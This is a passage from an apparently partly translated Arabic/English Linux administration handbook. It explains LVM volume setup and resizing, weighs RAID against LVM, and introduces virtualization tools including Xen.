وعلى أية حال، تذكر أن LV لا يرتبط مباشرة بأي PV معيّن. من الممكن التأثير على موقع تخزين بيانات أحد الحيزات المنطقية فيزيائيًا، لكن هذه الإمكانية ليست جوهرية في الاستخدامات العادية. وعلى صعيد آخر: عندما تتطور المكونات الفيزيائية للـVG، يمكن تهجير مواقع التخزين الفيزيائية لأحد LVs بين الأقراص (مع البقاء ضمن PVs المخصصة للـVG بالطبع).

12.1.2.2. إعداد LVM

دعنا الآن نتبع –خطوة بخطوة– طريقة إعداد LVM لحالة استخدام نموذجية: حيث نريد تبسيط حالة تخزينية معقدة. تحدث هذه الحالات عادة بعد تاريخ طويل ومعقد من تراكم التدابير المؤقتة. سوف ندرس كمثال حالة مخدم تغيرت فيه الحاجات التخزينية مع الزمن، وانتهى المطاف بمتاهة من الأقسام المتاحة الموزعة على عدد من الأقراص المستخدمة جزئيًا. بكلام واضح أكثر، الأقسام التالية هي المتاحة:

من القرص sdb، القسم sdb2، الحجم 4 غ.ب؛

من القرص sdc، القسم sdc3، الحجم 3 غ.ب؛

القرص sdd، متاح بالكامل، 4 غ.ب؛

من القرص sdf، القسم sdf1، ‏4 غ.ب؛ والقسم sdf2، ‏5 غ.ب.

بالإضافة لذلك، دعنا نفترض أن القرصين sdb وsdf أسرع من البقية.

هدفنا هو إعداد ثلاثة حيزات منطقية لثلاثة تطبيقات: مخدم ملفات يحتاج 5 غ.ب. من المساحة التخزينية، وقاعدة بيانات (1 غ.ب) وبعض المساحة للنسخ الاحتياطية (12 غ.ب). يحتاج التطبيقان الأوليان أداء جيداً، بينما النسخ الاحتياطية أقل حرجاً من حيث الحاجة لسرعة النقل. تمنعنا كل هذه القيود من استخدام الأقسام المتاحة مباشرة كما هي؛ لكن يمكن أن يسمح استخدام LVM بعزل الحجم الفيزيائي للأجهزة، بحيث يبقى القيد الوحيد هو المساحة الكلية المتوفرة فقط.

الأدوات المطلوبة كلها في حزمة lvm2 واعتمادياتها. بعد تثبيتها، يتطلب إعداد LVM ثلاث خطوات، تقابل المستويات الثلاث للمفاهيم.

أولاً، نجهز الحيزات الفيزيائية باستخدام pvcreate:

# pvcreate /dev/sdb2 Physical volume "/dev/sdb2" successfully created. # pvdisplay "/dev/sdb2" is a new physical volume of "4.00 GiB" --- NEW Physical volume --- PV Name /dev/sdb2 VG Name PV Size 4.00 GiB Allocatable NO PE Size 0 Total PE 0 Free PE 0 Allocated PE 0 PV UUID z4Clgk-T5a4-C27o-1P0E-lIAF-OeUM-e7EMwq # for i in sdc3 sdd sdf1 sdf2 ; do pvcreate /dev/$i ; done Physical volume "/dev/sdc3" successfully created. Physical volume "/dev/sdd" successfully created. Physical volume "/dev/sdf1" successfully created. Physical volume "/dev/sdf2" successfully created. # pvdisplay -C PV VG Fmt Attr PSize PFree /dev/sdb2 lvm2 --- 4.00g 4.00g /dev/sdc3 lvm2 --- 3.00g 3.00g /dev/sdd lvm2 --- 4.00g 4.00g /dev/sdf1 lvm2 --- 4.00g 4.00g /dev/sdf2 lvm2 --- <5.00g <5.00g

حتى الآن، كل شيء على ما يرام؛ لاحظ أنه يمكن إعداد PV على قرص كامل كما يمكن ذلك على أقسام الأقراص. يسرد الأمر pvdisplay الحيزات الفيزيائية الموجودة، وذلك في صيغتين مختلفتين للخرج، كما هو موضح أعلاه.

دعنا الآن نجمع هذه العناصر الفيزيائية في VG باستخدام vgcreate. سوف نجمع الحيزات الفيزيائية من الأقراص السريعة فقط في مجموعة اسمها vg_critical؛ أما المجموعة الأخرى، vg_normal، فسوف تحوي عناصر سريعة وأخرى بطيئة.

# vgcreate vg_critical /dev/sdb2 /dev/sdf1 Volume group "vg_critical" successfully created # vgdisplay --- Volume group --- VG Name vg_critical System ID Format lvm2 Metadata Areas 2 Metadata Sequence No 1 VG Access read/write VG Status resizable MAX LV 0 Cur LV 0 Open LV 0 Max PV 0 Cur PV 2 Act PV 2 VG Size 7.99 GiB PE Size 4.00 MiB Total PE 2046 Alloc PE / Size 0 / 0 Free PE / Size 2046 / 7.99 GiB VG UUID wAbBjx-d82B-q7St-0KFf-z40h-w5Mh-uAXkNZ # vgcreate vg_normal /dev/sdc3 /dev/sdd /dev/sdf2 Volume group "vg_normal" successfully created # vgdisplay -C VG #PV #LV #SN Attr VSize VFree vg_critical 2 0 0 wz--n- 7.99g 7.99g vg_normal 3 0 0 wz--n- <11.99g <11.99g

الأوامر هنا أيضًا واضحة جداً ( كما أن vgdisplay يوفر صيغتين للخرج). لاحظ أنه من الممكن استخدام قسمين من القرص الفيزيائي نفسه في مجموعتين مختلفتين. لاحظ أيضًا أننا استخدمنا بادئة vg_ عند تسمية VGs التي أنشأناها ولكن هذا مجرد اصطلاح.

We now have two “virtual disks”, sized about 8 GB and 12 GB respectively. Let's now carve them up into “virtual partitions” (LVs). This involves the lvcreate command, and a slightly more complex syntax:

# lvdisplay # lvcreate -n lv_files -L 5G vg_critical Logical volume "lv_files" created. # lvdisplay --- Logical volume --- LV Path /dev/vg_critical/lv_files LV Name lv_files VG Name vg_critical LV UUID W6XT08-iBBx-Nrw2-f8F2-r2y4-Ltds-UrKogV LV Write Access read/write LV Creation host, time debian, 2019-11-30 22:45:46 -0500 LV Status available # open 0 LV Size 5.00 GiB Current LE 1280 Segments 2 Allocation inherit Read ahead sectors auto - currently set to 256 Block device 254:0 # lvcreate -n lv_base -L 1G vg_critical Logical volume "lv_base" created. # lvcreate -n lv_backups -L 11.98G vg_normal Rounding up size to full physical extent 11.98 GiB Logical volume "lv_backups" created. # lvdisplay -C LV VG Attr LSize Pool Origin Data% Meta% Move Log Cpy%Sync Convert lv_base vg_critical -wi-a--- 1.00g lv_files vg_critical -wi-a--- 5.00g lv_backups vg_normal -wi-a--- 11.98g

يوجد معاملان مطلوبان عند إنشاء الحيزات المنطقية؛ ويجب تمريرهما إلى الأمر lvcreate كخيارات. الأول هو اسم LV الذي سوف ننشئه ويحدد بالخيار -n، والثاني هو حجم LV ويعطى عمومًا بالخيار -L. نحتاج أيضًا إعلام الأمر باسم VG التي يطبق عليها طبعًا، وهذا هو المعامل الأخير في التعليمة.

التعمق أكثر خيارات lvcreate

للأمر lvcreate العديد من الخيارات تسمح بضبط عملية إنشاء LV.

دعنا أولاً نشرح الخيار -l، الذي يسمح بتحديد حجم الحيز المنطقي كعدد من الكتل (بدلاً من استخدام الواحدات ”البشرية“ كما فعلنا في المثال السابق). هذه الكتل (التي تدعى PEs، أي physical extents، بحسب مصطلحات LVM) هي وحدات متجاورة من المساحة التخزينية في الحيزات الفيزيائية، ولا يمكن أن تقسم الواحدة منها بين الحيزات المنطقية. عندما يحتاج المرء لتحديد السعة التخزينية للحيز المنطقي بدقة أكبر، مثلاً لاستخدام كامل المساحة المتوفرة، سيكون الخيار -l مفضلاً على الخيار -L غالبًا.

It is also possible to hint at the physical location of an LV, so that its extents are stored on a particular PV (while staying within the ones assigned to the VG, of course). Since we know that sdb is faster than sdf, we may want to store the lv_base there if we want to give an advantage to the database server compared to the file server. The command line becomes: lvcreate -n lv_base -L 1G vg_critical /dev/sdb2. Note that this command can fail if the PV doesn't have enough free extents. In our example, we would probably have to create lv_base before lv_files to avoid this situation – or free up some space on sdb2 with the pvmove command.

ينتهي المطاف بالحيزات المنطقية بعد إنشائها كملفات أجهزة كتلية في /dev/mapper/:

# ls -l /dev/mapper total 0 crw------- 1 root root 10, 236 Jun 10 16:52 control lrwxrwxrwx 1 root root 7 Jun 10 17:05 vg_critical-lv_base -> ../dm-1 lrwxrwxrwx 1 root root 7 Jun 10 17:05 vg_critical-lv_files -> ../dm-0 lrwxrwxrwx 1 root root 7 Jun 10 17:05 vg_normal-lv_backups -> ../dm-2 # ls -l /dev/dm-* brw-rw---T 1 root disk 253, 0 Jun 10 17:05 /dev/dm-0 brw-rw---- 1 root disk 253, 1 Jun 10 17:05 /dev/dm-1 brw-rw---- 1 root disk 253, 2 Jun 10 17:05 /dev/dm-2

NOTE Auto-detecting LVM volumes

عند إقلاع الحاسب، تنفذ وحدة الخدمة lvm2-activation التابعة لنظام systemd الأمر vgchange -aay ”لتنشيط activate“ مجموعات الحيزات: حيث يفحص الأجهزة المتوفرة؛ وتُسجَّل الأجهزة التي تمت تهيئتها كحيزات فيزيائية ضمن نظام LVM الفرعي، وتجمَع الحيزات التي تنتمي لمجموعات في مجموعاتها، ثم تنشط الحيزات المنطقية وتصبح متوفرة. لا حاجة إذاً لتحرير أي ملفات إعداد عند إنشاء أو تعديل حيزات LVM.

لكن لاحظ أن خريطة عناصر LVM ( الحيزات الفيزيائية والمنطقية، والمجموعات) تُنسَخ احتياطيًا إلى /etc/lvm/backup، وهذه قد تفيد في حال حدوث مشكلة (أو لاختلاس النظر تحت الغطاء).

لتسهيل الأمور، يتم إنشاء اختصارات رمزيّة أيضًا في مجلدات بأسماء VGs نفسها:

# ls -l /dev/vg_critical total 0 lrwxrwxrwx 1 root root 7 Jun 10 17:05 lv_base -> ../dm-1 lrwxrwxrwx 1 root root 7 Jun 10 17:05 lv_files -> ../dm-0 # ls -l /dev/vg_normal total 0 lrwxrwxrwx 1 root root 7 Jun 10 17:05 lv_backups -> ../dm-2

يمكن استخدام LVs عندها مثل أي قسم نظامي تماماً:

# mkfs.ext4 /dev/vg_normal/lv_backups mke2fs 1.44.5 (15-Dec-2018) Discarding device blocks: done Creating filesystem with 3140608 4k blocks and 786432 inodes Filesystem UUID: b9e6ed2f-cb37-43e9-87d8-e77568446225 Superblock backups stored on blocks: 32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208 Allocating group tables: done Writing inode tables: done Creating journal (16384 blocks): done Writing superblocks and filesystem accounting information: done # mkdir /srv/backups # mount /dev/vg_normal/lv_backups /srv/backups # df -h /srv/backups Filesystem Size Used Avail Use% Mounted on /dev/mapper/vg_normal-lv_backups 12G 41M 12G 1% /srv/backups # [...] [...] # cat /etc/fstab [...] /dev/vg_critical/lv_base /srv/base ext4 defaults 0 2 /dev/vg_critical/lv_files /srv/files ext4 defaults 0 2 /dev/vg_normal/lv_backups /srv/backups ext4 defaults 0 2

من وجهة نظر التطبيقات، تم تحويل الأقسام الصغيرة العديدة إلى حيز كبير واحد بحجم 12غ.ب، وله اسم ألطف.

12.1.2.3. ‏LVM مع الزمن

بالرغم من أن ميزة جمع الأقراص أو الأقسام الفيزيائية مفيدة، إلا أنها ليست الميزة الأساسية لاستخدام LVM. لا تبدو المرونة التي تحصل عليها من LVM واضحة إلا بعد مرور فترة من الزمن بشكل خاص، عندما تتغير الحاجات. في مثالنا السابق، دعنا نفترض أن هناك ملفات جديدة كبيرة يجب تخزينها، وأن الحيز المنطقي المخصص لمخدم الملفات صغير جداً عليها. بما أننا لم نستهلك كامل المساحة الحرة المتوفرة على vg_critical، يمكننا توسعة lv_files. سوف نستخدم الأمر lvresize لذلك الغرض، ثم نستخدم resize2fs لملائمة نظام الملفات مع الحجم الجديد:

# df -h /srv/files/ Filesystem Size Used Avail Use% Mounted on /dev/mapper/vg_critical-lv_files 4.9G 4.2G 485M 90% /srv/files # lvdisplay -C vg_critical/lv_files LV VG Attr LSize Pool Origin Data% Meta% Move Log Cpy%Sync Convert lv_files vg_critical -wi-ao-- 5.00g # vgdisplay -C vg_critical VG #PV #LV #SN Attr VSize VFree vg_critical 2 2 0 wz--n- 7.99g 1.99g # lvresize -L 6G vg_critical/lv_files Size of logical volume vg_critical/lv_files changed from 5.00 GiB (1280 extents) to 6.00 GiB (1536 extents). Logical volume vg_critical/lv_files successfully resized. # lvdisplay -C vg_critical/lv_files LV VG Attr LSize Pool Origin Data% Meta% Move Log Cpy%Sync Convert lv_files vg_critical -wi-ao---- 6.00g # resize2fs /dev/vg_critical/lv_files resize2fs 1.44.5 (15-Dec-2018) Filesystem at /dev/vg_critical/lv_files is mounted on /srv/files; on-line resizing required old_desc_blocks = 1, new_desc_blocks = 1 The filesystem on /dev/vg_critical/lv_files is now 1572864 (4k) blocks long. # df -h /srv/files/ Filesystem Size Used Avail Use% Mounted on /dev/mapper/vg_critical-lv_files 5.9G 4.2G 1.5G 75% /srv/files

تحذير تحجيم نظم الملفات

Not all filesystems can be resized online; resizing a volume can therefore require unmounting the filesystem first and remounting it afterwards. Of course, if one wants to shrink the space allocated to an LV, the filesystem must be shrunk first; the order is reversed when the resizing goes in the other direction: the logical volume must be grown before the filesystem on it. It is rather straightforward, since at no time must the filesystem size be larger than the block device where it resides (whether that device is a physical partition or a logical volume).

يمكن توسعة نظم الملفات ext3، وext4 و xfs دون فصل الاتصال (online)؛ أما التقليص فيحتاج الفصل عن شجرة الملفات. يسمح نظام الملفات reiserfs بالتحجيم أثناء الاتصال في الاتجاهين. أما صاحب الجلالة ext2 فلا يسمح بأي منهما، ويحتاج للفصل في جميع الحالات.

يمكننا توسعة الحيز الذي يستضيف قاعدة البيانات بنفس الأسلوب، لولا أننا وصلنا لحدود المساحة المتاحة على المجموعة:

# df -h /srv/base/ Filesystem Size Used Avail Use% Mounted on /dev/mapper/vg_critical-lv_base 976M 882M 28M 97% /srv/base # vgdisplay -C vg_critical VG #PV #LV #SN Attr VSize VFree vg_critical 2 2 0 wz--n- 7.99g 1016.00m

لا مشكلة، حيث يسمح LVM بإضافة حيزات فيزيائية إلى المجموعات القائمة مسبقًا. مثلاً، ربما لاحظنا أن القسم sdb1 الذي كان يستخدم خارج نظام LVM حتى الآن، كان يحتوي على أرشيفات يمكن نقلها إلى lv_backups. يمكننا الآن إعادة استخدام القسم ودمجه في مجموعة الحيزات الحالية، واستثمار بعض المساحة الحرة. هذه هي وظيفة الأمر vgextend. طبعاً يجب تهيئة القسم كحيز فيزيائي قبل ذلك. بعد توسيع المجموعة، يمكننا استخدام أوامر مشابهة للسابقة لتمديد الحيز المنطقي وتوسعة نظام الملفات بعد ذلك:

# pvcreate /dev/sdb1 Physical volume "/dev/sdb1" successfully created. # vgextend vg_critical /dev/sdb1 Volume group "vg_critical" successfully extended # vgdisplay -C vg_critical VG #PV #LV #SN Attr VSize VFree vg_critical 3 2 0 wz--n- <9.99g <1.99g # [...] [...] # df -h /srv/base/ Filesystem Size Used Avail Use% Mounted on /dev/mapper/vg_critical-lv_base 2.0G 882M 994M 48% /srv/base

التعمق أكثر LVM متقدم

LVM also caters for more advanced uses, where many details can be specified by hand. For instance, an administrator can tweak the size of the blocks that make up physical and logical volumes, as well as their physical layout. It is also possible to move blocks across PVs, for instance, to fine-tune performance or, in a more mundane way, to free a PV when one needs to extract the corresponding physical disk from the VG (whether to affect it to another VG or to remove it from LVM altogether). The manual pages describing the commands are generally clear and detailed. A good entry point is the lvm(8) manual page.

12.1.3. ‏RAID أو LVM؟

يقدم كلٌّ من RAID وLVM ميزات لا تقبل الجدل عندما يبتعد المرء عن الحالة البسيطة للحاسوب المكتبي ذي القرص الواحد حيث لا تتغير الاستخدامات مع مرور الزمن. لكن RAID وLVM يتباعدان في اتجاهين مختلفين، وتتباعد أهدافهما، ومن المقبول أن يتسائل المرء عن أي التقنيتين يجب أن يتبناها. الإجابة الأنسب ستعتمد طبعاً على الحاجات الحالية والمتوقعة.

هناك عدة حالات بسيطة حيث لا تظهر فيها أي تساؤلات فعلية. إذا كان الهدف هو حماية البيانات من عطب العتاد، فالحل طبعاً هو إعداد RAID مع مصفوفة أقراص ذات فائض تخزيني، نظرًا لأن LVM لا يعالج هذه المشكلة أبداً. من جهة أخرى، إذا كان هناك حاجة لتصميم تخزيني مرن تستقل فيه الحيزات التخزينية عن المخطط الفيزيائي للأقراص، عندها RAID لا يساعد كثيراً وLVM هو الخيار الطبيعي.

ملاحظة إذا كان الأداء مهمًا…

إذا كانت سرعة الدخل والخرج جوهرية، خصوصًا من ناحية أزمنة الوصول، فإن استخدام LVM أو RAID أو جمعهما معاً بإحدى الطرق قد يؤثر على الأداء، وأحياناً يجب أخذ هذا بعين الاعتبار عند اختيار إحدى التقنيتين. إلا أن هذه الاختلافات في الأداء صغيرة حقاً، ولا يمكن قياسها إلا في حالات قليلة. إذا كان الأداء مهمًا، فإن أكبر زيادة يمكن الحصول عليها تكون باستخدام وسائط تخزين غير ميكانيكية (سواقات الحالة الصلبة SSD – ‏solid-state drives)؛ كلفة الميغابايت في هذه الوسائط أعلى من كلفته في الأقراص الصلبة العادية، كما أن سعتها أصغر عادة، لكنها تقدم أداء باهراً للوصول العشوائي. إذا كان نمط الاستخدام يشتمل على العديد من عمليات الدخل والخرج المنتشرة على أنحاء نظام الملفات، كما في حالة قواعد البيانات التي تجرى عليها استعلامات معقدة مثلاً، فإن جدوى تشغيلها على SSD أكبر بكثير من استخدام LVM بدلاً من RAID أو العكس. يجب اتخاذ القرار في هذه الحالات اعتماداً على معايير أخرى غير السرعة، نظراً لأن موضوع الأداء يمكن معالجته بسهولة باستخدام SSD.

حالة الاستخدام الثالثة الجديرة بالاهتمام هي عندما يحتاج المرء جمع قرصين في حيز تخزيني واحد، وذلك بهدف زيادة الأداء أو للحصول على نظام ملفات أكبر من سعة الأقراص المتوفرة. يمكن معالجة هذه الحالة باستخدم RAID-0 (أو حتى linear-RAID) أو باستخدام LVM. في هذه الحالة، يقع الاختيار على LVM ما لم تكن هناك قيود إضافية (الانسجام مع بقية الحواسيب إذا كانت تعتمد على RAID مثلاً). الإعداد الأولي لنظام LVM أكثر تعقيداً بقليل، ولكن المرونة الإضافية التي يوفرها تعوض هذه الزيادة الطفيفة في التعقيدات عندما تتغير المتطلبات التخزينية أو إذا دعت الحاجة لإضافة أقراص جديدة.

ثم نصل طبعاً إلى حالة الاستخدام الشيقة حقاً، وهي عندما نحتاج نظاماً تخزينياً يقاوم أعطال العتاد ومرناً من ناحية توزيع الحيزات التخزينية. لا يستطيع RAID وحده ولا LVM معالجة المتطلبين معاً؛ هذه هي الحالة التي نستخدم فيها الاثنين في الوقت نفسه — أو بالأحرى، نستخدم أحدهما فوق الآخر. أكثر طريقة مستخدمة منذ وصل RAID و LVM إلى مرحلة النضج هي ضمان حماية البيانات أولاً من خلال جمع الأقراص في عدد صغير من مصفوفات RAID الكبيرة، ثم استخدام هذه المصفوفات كحيزات فيزيائية لنظام LVM؛ بعدها تقطع LVs إلى أقسام منطقية لإنشاء نظم الملفات. إن ميزة هذا الأسلوب هي أنه عندما يتعطل قرص ما، سنحتاج لإعادة بناء عدد صغير من مصفوفات RAID، وبالتالي اختصار الوقت الذي يقضيه مدير النظام في الاستعادة.

لنأخذ مثلاً حقيقياً: يحتاج قسم العلاقات العامة في شركة فلكوت محطة عمل لتحرير الفيديو، لكن ميزانية القسم لا تسمح بشراء عتاد متطور بالكامل. اتخذ القرار بتفضيل العتاد المخصص لأعمال الجرافيك (الشاشة وبطاقة الفيديو)، والاكتفاء بالعتاد العادي بالنسبة لوسائط التخزين. لكن، كما هو معلوم، يحتاج الفيديو الرقمي بعض المتطلبات الخاصة فيما يتعلق بوشائط التخزين: فكمية البيانات المخزنة كبيرة، كما أن معدل النقل عند قراءة أو كتابة هذه البيانات مهم ويؤثر على الأداء الكلي للنظام (أهميته أكبر من أهمية زمن الوصول النموذجي مثلاً). يجب تلبية هذه المتطلبات باستخدام عتاد عادي، في هذه الحالة لدينا قرصين صلبين SATA سعة كل منهما 300 غيغابايت؛ يجب أيضًا أن تقاوم بيانات النظام وبعض من بيانات المستخدم أعطال العتاد، إذ يجب أن تبقى مقاطع الفيديو المحررة بأمان، لكن اللقطات (rushes) التي تنتظر التحرير أقل أهميةً، بما أنها لا تزال متوفرة على شرائط الفيديو.

سوف نجمع RAID-1 و LVM معاً لإيفاء هذه الشروط. سوف نصل القرصين إلى متحكمي SATA مختلفين لتحسين الوصول المتوازي وتخفيف خطر الأعطال المتزامنة، بالتالي سوف يظهر القرصان باسمي sda وsdc. سوف نقطِّع القرصين وفق المخطط التالي:

# fdisk -l /dev/sda Disk /dev/sda: 300 GB, 300090728448 bytes, 586114704 sectors Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disklabel type: dos Disk identifier: 0x00039a9f Device Boot Start End Sectors Size Id Type /dev/sda1 * 2048 1992060 1990012 1.0G fd Linux raid autodetect /dev/sda2 1992061 3984120 1992059 1.0G 82 Linux swap / Solaris /dev/sda3 4000185 586099395 582099210 298G 5 Extended /dev/sda5 4000185 203977305 199977120 102G fd Linux raid autodetect /dev/sda6 203977306 403970490 199993184 102G fd Linux raid autodetect /dev/sda7 403970491 586099395 182128904 93G 8e Linux LVM

جمعنا القسمين الأولين من كل قرص (حوالي 1 غ.ب) في حيز RAID-1، هو md0. هذه المرآة ستستخدم مباشرة لتخزين نظام الملفات الجذر.

استخدمنا القسمين sda2 وsdc2 كقسمي swap، ما منحنا مساحة تبديل سعتها الكلية 2 غ.ب. ومع 1 غ.ب من الذاكرة RAM، أصبحت كمية الذاكرة المتوفرة لمحطة العمل مريحة.

جمعنا القسمين sda5 وsdc5، كما جمعنا sda6 وsdc6 في حيزي RAID-1 حجم كل منهما حوالي 100 غ.ب، هما md1 وmd2. تمت تهيئة كل من هاتين المرآتين كحيز LVM فيزيائي، وتم تخصيصهما للمجموعة vg_raid. هذه VG تحوي تقريبًا 200 غ.ب من المساحة المؤمنة.

استخدمنا القسمين المتبقيين، sda7 وsdc7، مباشرة بشكل حيزات فيزيائية، وخصصناهما لمجموعة حيزات أخرى تدعى vg_bulk، حيث أصبحت تحوي تقريبًا 200 غ.ب من المساحة.

بعد إنشاء VGs، يمكن تقطيعها بطريقة مرنة جداً. يجب أن نأخذ بعين الاعتبار أن LVs التي ننشئها في vg_raid ستبقى محفوظة حتى لو تعطل أحد القرصين، لكن هذا لا ينطبق على LVs التي ننشئها في vg_bulk؛ من ناحية أخرى، سوف تحجز الحيزات المنطقية في vg_bulk على القرصين على التوازي، ما يسمح بسرعات قراءة أو كتابة أكبر للملفات الكبيرة.

We will therefore create the lv_var and lv_home LVs on vg_raid, to host the matching filesystems; another large LV, lv_movies, will be used to host the definitive versions of movies after editing. The other VG will be split into a large lv_rushes, for data straight out of the digital video cameras, and a lv_tmp for temporary files. The location of the work area is a less straightforward choice to make: while good performance is needed for that volume, is it worth risking losing work if a disk fails during an editing session? Depending on the answer to that question, the relevant LV will be created on one VG or the other.

We now have both some redundancy for important data and much flexibility in how the available space is split across the applications.

ملاحظة لماذا ثلاثة حيزات RAID-1؟

كان يمكن إعداد حيز RAID-1 واحد فقط ليعمل كحيز فيزيائي نضع عليه vg_raid. فلم أنشأنا ثلاثة منها إذاً؟

السبب وراء القسم الأول (فصل md0 عن البقية) هو أمان البيانات: فالبيانات التي تكتب على مرايا RAID-1 هي نفسها على جميع الأقراص، ولذلك يمكن تجاوز طبقة RAID وربط أحد أقراص المصفوفة مباشرة. في حال مواجهة علة في النواة مثلاً، أو إذا تضررت البيانات الفوقية التي تُعرّف LVM، يمكن عندها إقلاع نظام أصغري يسمح بالوصول إلى البيانات الحساسة مثل مخطط الأقراص في حيزات RAID وLVM؛ يمكن حينئذ إعادة بناء البيانات الفوقية والوصول للملفات ثانية، بحيث يعود النظام إلى حالته النظامية.

أما السبب وراء القسم الثاني (فصل md1 عن md2) فهو أقل وضوحاً، والداعي له هو عدم ثقتنا بطبيعة التغييرات التي سنحتاجها في المستقبل. قد لا نعرف الحاجات التخزينية للمستخدمين بدقة عند تجميع محطة العمل أول مرة، كما يمكن أن تتغير هذه الحاجات مع مرور الزمن. في حالتنا، لا يمكننا معرفة الأحجام التخزينية اللازمة للقطات الخام (rushes) ومقاطع الفيديو المكتملة مسبقاً. إذا احتاج أحد المقاطع لعدد كبير من اللقطات، وكان أكثر من نصف VG المخصصة للحيزات المؤمنة فارغاً، يمكننا إعادة استخدام بعض المساحة غير اللازمة منها. يمكننا إزالة أحد الحيزات الفيزيائية، ولنقل md2، من vg_raid ثم نضيفه إلى vg_bulk مباشرة (إذا كانت المدة المتوقعة لإنهاء العملية قصيرة بحيث نستطيع قبول الانخفاض المؤقت في الأداء)، أو نلغي مصفوفة RAID على md2 وندمج مكوناتها (sda6 وsdc6) مع VG غير المؤمنة (التي ستكبر بمقدار 200 غ.ب بدلاً من 100 غ.ب)؛ بعدها يمكن توسعة الحيز المنطقي lv_rushes حسب الحاجة.

12.2. الحوسبة الظاهرية

الحوسبة الظاهرية (virtualization) هي إحدى أهم تطورات الحوسبة في السنوات الأخيرة. يغطي المصطلح العديد من المفاهيم والتقنيات المستخدمة لمحاكاة الحواسيب الظاهرية بدرجات متفاوتة من الاستقلال عن العتاد الفعلي. يمكن لمخدم فيزيائي واحد عندها أن يستضيف العديد من الأنظمة التي تعمل في الوقت نفسه بمعزل عن بعضها. تطبيقات هذه التقنية عديدة، وهي مشتقة غالبًا من فكرة العزل: كاختبار بيئات لها إعدادات مختلفة مثلاً، أو فصل الخدمات المقدمة عبر حواسيب ظاهرية (virtual) مختلفة لزيادة الأمن.

هناك الكثير من حلول الحوسبة الظاهرية، لكل منها ميزاته وعيوبه. يركز هذا الكتاب على Xen، و LXC، وKVM، لكن هناك حلول أخرى تستحق الذكر منها:

QEMU is a software emulator for a full computer; performances are far from the speed one could achieve running natively, but this allows running unmodified or experimental operating systems on the emulated hardware. It also allows emulating a different hardware architecture: for instance, an amd64 system can emulate an arm computer. QEMU is free software.

→ https://www.qemu.org/

Bochs هو نظام محاكاة حر آخر، لكنه يحاكي معماريات x86 فقط (i386 و amd64).

VMWare is a proprietary virtual machine; being one of the oldest out there, it is also one of the most widely-known. It works on principles similar to QEMU. VMWare proposes advanced features such as snapshotting a running virtual machine.

→ https://www.vmware.com/

VirtualBox is a virtual machine that is mostly free software (some extra components are available under a proprietary license). Unfortunately it is in Debian's “contrib” section because it includes some precompiled files that cannot be rebuilt without a proprietary compiler and it currently only resides in Debian Unstable as Oracle's policies make it impossible to keep it secure in a Debian stable release (see #794466). While younger than VMWare and restricted to the i386 and amd64 architectures, it still includes some snapshotting and other interesting features.

→ https://www.virtualbox.org/

HARDWARE Virtualization support

Some computers might not have hardware virtualization support; when they do, it should be enabled in the BIOS.

To know if you have virtualization support enabled, you can check if the relevant flag is enabled with grep. If the following command for your processor returns some text, you already have virtualization support enabled:

For Intel processors you can execute grep vmx /proc/cpuinfo

For AMD processors you can execute grep svm /proc/cpuinfo

12.2.1. ‏Xen

Xen هو حل محاكاة ”شبه ظاهرية – paravirtualization“. يقدم Xen طبقة عزل رقيقة، تدعى ”المشرف – hypervisor“، بين العتاد والأنظمة العليا؛ تعمل بمثابة مرجع يتحكم بالوصول للعتاد من الحواسيب الظاهرية. لكنها تعالج عدداً قليلاً من التعليمات، أما البقية فتنفذ مباشرة على العتاد بالنيابة عن الأنظمة الظاهرية. الميزة الأساسية هي أن مستوى الأداء لا ينخفض، والنظم تعمل بسرعات تقترب من السرعة الأصلية؛ لكن نقطة الضعف هي أن نوى نظم التشغيل التي يمكن استخدامها مع مشرف Xen يجب تعديلها لتناسب العمل على Xen.

Let's spend some time on terms. The hypervisor is the lowest layer, which runs directly on the hardware, even below the kernel. This hypervisor can split the rest of the software across several domains, which can be seen as so many virtual machines. One of these domains (the first one that gets started) is known as dom0, and has a special role, since only this domain can control the hypervisor and the execution of other domains. These other domains are known as domU. In other words, and from a user point of view, the dom0 matches the “host” of other virtualization systems, while a domU can be seen as a “guest”.

ثقافة Xen والإصدارات المختلفة من لينكس

تم تطوير Xen أساسًا كمجموعة من الترقيعات التي بقيت خارج الشجرة الرسمية، ولم تدمج في النواة لينكس. في الوقت نفسه، تطلبت عدة نظم محاكاة جديدة (بما فيها KVM) بعض الدوال العامة المتعلقة بالمحاكاة لتسهيل دمجها، وأضيفت هذه الدوال إلى النواة لينكس (التي تعرف بواجهة paravirt_ops أو pv_ops). وبما أن رقع Xen كانت تكرر بعض وظائف هذه الواجهة، لم يعد قبولها رسميًا ممكنًا.

Xensource, the company behind Xen, therefore had to port Xen to this new framework, so that the Xen patches could be merged into the official Linux kernel. That meant a lot of code rewrite, and although Xensource soon had a working version based on the paravirt_ops interface, the patches were only progressively merged into the official kernel. The merge was completed in Linux 3.0.

→ https://wiki.xenproject.org/wiki/XenParavirtOps

Since Jessie is based on version 3.16 of the Linux kernel, the standard linux-image-686-pae and linux-image-amd64 packages include the necessary code, and the distribution-specific patching that was required for Squeeze and earlier versions of Debian is no more.

→ https://wiki.xenproject.org/wiki/Xen_Kernel_Feature_Matrix

ثقافة Xen والنوى المختلفة عن لينكس

Xen requires modifications to all the operating systems one wants to run on it; not all kernels have the same level of maturity in this regard. Many are fully-functional, both as dom0 and domU: Linux 3.0 and later, NetBSD 4.0 and later, and OpenSolaris. Others only work as a domU. You can check the status of each operating system in the Xen wiki:

→ https://wiki.xenproject.org/wiki/Dom0_Kernels_for_Xen

→ https://wiki.xenproject.org/wiki/DomU_Support_for_Xen

لكن إذا كان Xen يستطيع الاعتماد على تعليمات العتاد المختصة بالمحاكاة (المتوفرة فقط في المعالجات الأحدث)، فيمكن تشغيل النظم غير المعدلة أيضًا في domU (بما في ذلك Windows).

ملاحظة المعماريات المتوافقة مع Xen

حالياً Xen متاح فقط لمعماريات i386 وamd64 وarm64 وarmhf.

استخدام Xen في دبيان يحتاج ثلاثة مكونات:

The hypervisor itself. According to the available hardware, the appropriate package will be either xen-hypervisor-4.11-amd64, xen-hypervisor-4.11-armhf, or xen-hypervisor-4.11-arm64.

A kernel that runs on that hypervisor. Any kernel more recent than 3.0 will do, including the 4.19 version present in Buster.

معمارية i386 تحتاج أيضًا لمكتبة قياسية مع الترقيعات المناسبة للاستفادة من Xen؛ هذه متوفرة في الحزمة libc6-xen.

